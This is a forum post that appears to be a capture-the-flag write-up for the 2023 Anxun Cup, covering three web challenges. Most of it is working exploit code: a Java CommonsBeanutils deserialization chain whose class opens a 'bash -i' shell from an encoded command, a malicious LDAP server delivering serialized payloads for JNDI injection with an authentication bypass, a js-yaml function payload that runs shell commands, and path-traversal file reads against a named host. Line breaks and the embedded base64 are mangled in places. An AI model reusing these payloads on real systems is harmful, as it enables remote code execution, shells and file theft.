Jump to content

Title: 2023 Anxun Cup 6th Cyber Security Challenge WP

Featured Replies

Posted

web

ai_java

First get the account number through the attachment account letter image.png image.png

You can get the prompts js and c through base64 or jsfuck. If you audit js, you can see the c function and run it. Get the github project address image.png

Find the submission history We found the source code image.png

The audit source code found that spring–boot may exist without authorization bypass image.png

Fastjson parsing exists in the /post_message/interface under admin's page image.png

image.png

Check the specific version and find that it is impossible to directly attack the ladp, check the dependencies

Discovery introduced shiro. Use SerializedData + LDAP attacks. and dependency-free CB to bounce shells

public class CB {

public static void setFieldValue(Object obj, String fieldName, Object

t value) throws Exception {

Field field=obj.getClass().getDeclaredField(fieldName);

field.setAccessible(true);

field.set(obj, value);

}

public static Comparator getValue(Object instance) throws NoSuchFiel

dException, IllegalAccessException {

Class? clazz=instance.getClass();

//Get the Field object of private variables

Field privateField=clazz.getDeclaredField('INSTANCE');

//Set access permissions for private variables

privateField.setAccessible(true);

//Get the value of a private variable

Object value=privateField.get(instance);

return (Comparator) value;

}

public static byte[] getPayload() throws Exception {

ClassPool pool=ClassPool.getDefault();

CtClass clazz=pool.get(evil.class.getName());

byte[] code=clazz.toBytecode();

TemplatesImpl obj=new TemplatesImpl();

setFieldValue(obj, '_bytecodes', new byte[][]{code});

setFieldValue(obj, '_name', 'tvt');

setFieldValue(obj, '_tfactory', new TransformerFactoryImpl());

final BeanComparator comparator=new BeanComparator(null, getVa

lue(new Headers()));

Queue queue=new PriorityQueue(2, comparator);

queue.add('1');

queue.add('1');

setFieldValue(comparator, 'property', 'outputProperties');

setFieldValue(queue, 'queue', new Object[]{obj, obj});

ByteArrayOutputStream barr=new ByteArrayOutputStream();

ObjectOutputStream oos=new ObjectOutputStream(barr);

oos.writeObject(queue);

oos.close();

byte[] byteArray=barr.toByteArray();

String base64EncodedData=Base64.getEncoder().encodeToString(by

teArray);

System.out.println(base64EncodedData);

return byteArray;

}

}

public class evil extends AbstractTranslet {

public void transform(DOM var1, SerializationHandler[] var2) throws

TransletException {

}

public void transform(DOM var1, DTMAxisIterator var2, SerializationH

andler var3) throws TransletException {

}

public static void main(String[] args) throws Exception {

Runtime.getRuntime().exec('bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}');

}

public evil() throws Exception {

Runtime.getRuntime().exec('bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}');

}

}

public class LDAPSerialServer {

private static final String LDAP_BASE='dc=example,dc=com';

public static void main ( String[] tmp_args ) {

String[] args=new String[]{'http://127.0.0.1:8000/#EvilClass'};

int port=7777;

try {

InMemoryDirectoryServerConfig config=new InMemoryDirectory

ServerConfig(LDAP_BASE);

config.setListenerConfigs(new InMemoryListenerConfig(

'listen', //$NON-NLS-1$

InetAddress.getByName('0.0.0.0'), //$NON-NLS-1$

port,

ServerSocketFactory.getDefault(),

SocketFactory.getDefault(),

(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationIntercep

tor(new URL(args[ 0 ])));

InMemoryDirectoryServer ds=new InMemoryDirectoryServer(con

fig);

System.out.println('Listening on 0.0.0.0:' + port); //$NON-N

LS-1$

ds.startListening();

}

catch ( Exception e ) {

e.printStackTrace();

}

}

private static class OperationInterceptor extends InMemoryOperationI

nterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {

this.codebase=cb;

}

@Override

public void processSearchResult ( InMemoryInterceptedSearchResul

t result ) {

String base=result.getRequest().getBaseDN();

Entry e=new Entry(base);

try {

sendResult(result, base, e);

}

catch ( Exception e1 ) {

e1.printStackTrace();

}

}

protected void sendResult ( InMemoryInterceptedSearchResult resu

lt, String base, Entry e ) throws Exception {

System.out.println('Send LDAP reference result for ' + base +

' return CB gadgets');

e.addAttribute('javaClassName', 'DeserPayload'); //$NON-NLS-

1$

String base64EncodedData='rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp

dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N

vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk

NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST

GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw

b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB

1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm

FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc

kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2

YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ

hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAABdX

IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANA1CgAiACMIACQKACIAJQoAJgAnCgAHA

CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl

cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml

hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm

xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL

3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj

b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmmlhbGl6ZXIvU2VyaWFsaXphdGl

vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG

FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb

C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc

mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl

L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9

vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmmlhbGl6YXRpb25IYW5kbG

VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY

W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh

BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN

MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW

l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb

i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y

Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ

hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC

lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd

mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAE

AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0

ADgAAAAAAAQAPABAAAQAAAAEQASAAIAEwAAAAQAUAAEACAAVAAIACgAAAAEkAAAAAAAAAA

AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE

QAWAAIAAAABABcAGAADABMAAAAEAFAAJABkAGgACAAoAAABAAAIAQAAAA64AAESArYA

A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAADAABAAAADgAbABwAAAATAAA

ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAAACAAsAAAAAAAAAAAA

MAAAAUAAQAFQANABYADAAAAAWAAQAAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A

AN0dnRwdwEAeHEAfgANeA==';

e.addAttribute('javaSerializedData', Base64.getDecoder().dec

ode(base64EncodedData));

result.sendSearchEntry(e);

result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

}

}

}

We use CB to encode base64 and do not call directly. We prevent internal API errors when jar packages. Locally, we use CVE-2022-22978 to bypass identity authentication, use fastjson's cache bypass, and implement jndi injection

Initiation.image.png image.png image.png

signal

First of all, this question is because it converts other file formats to yaml format and then yaml.load() will be loaded as a js object. Find the js-yaml document description on github, how to parse the object, the official website also gives an example, here we will directly look at what it can parse into.image.png

Discoverable analysis method image.png

js-yaml version is 3.14.1, compared with the new version submission

https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c

This is the last version of the default dangerous mode, which allows you to construct arbitrary JS functions using tags.js/function image.png

Then, in the template rendering place, the tostring method of the object will be automatically called

So just upload the file yaml file content as the following payload

'name' : { toString:js/function 'function(){ flag=process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}'}

Swagger docs

1. Read interface documents to figure out the website function

2. Register a user

http://47.108.206.43:40476/api-base/v0/register

{'username':'admin','password':'admin'}

3. Log in

http://47.108.206.43:40476/api-base/v0/login

{'username':'admin','password':'admin'}

4. Read any file

Test found that any file reads exist in the /api-base/v0/search interface

Read the process

http://47.108.206.43:40476/api-base/v0/search?file=./././././proc/1/cmdlinetype=text

Read source code location

http://47.108.206.43:40476/api-base/v0/search?file=./././././app/run.shtype=text

Read source code

5. Code Audit

image.png

Found that /api-base/v0/search has render_template_string(), which can cause STI to cause Rce, and only need to control the rendering content.

There is a pollution similar to the prototype chain in the uapate() function, which can be used to modify the environment.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.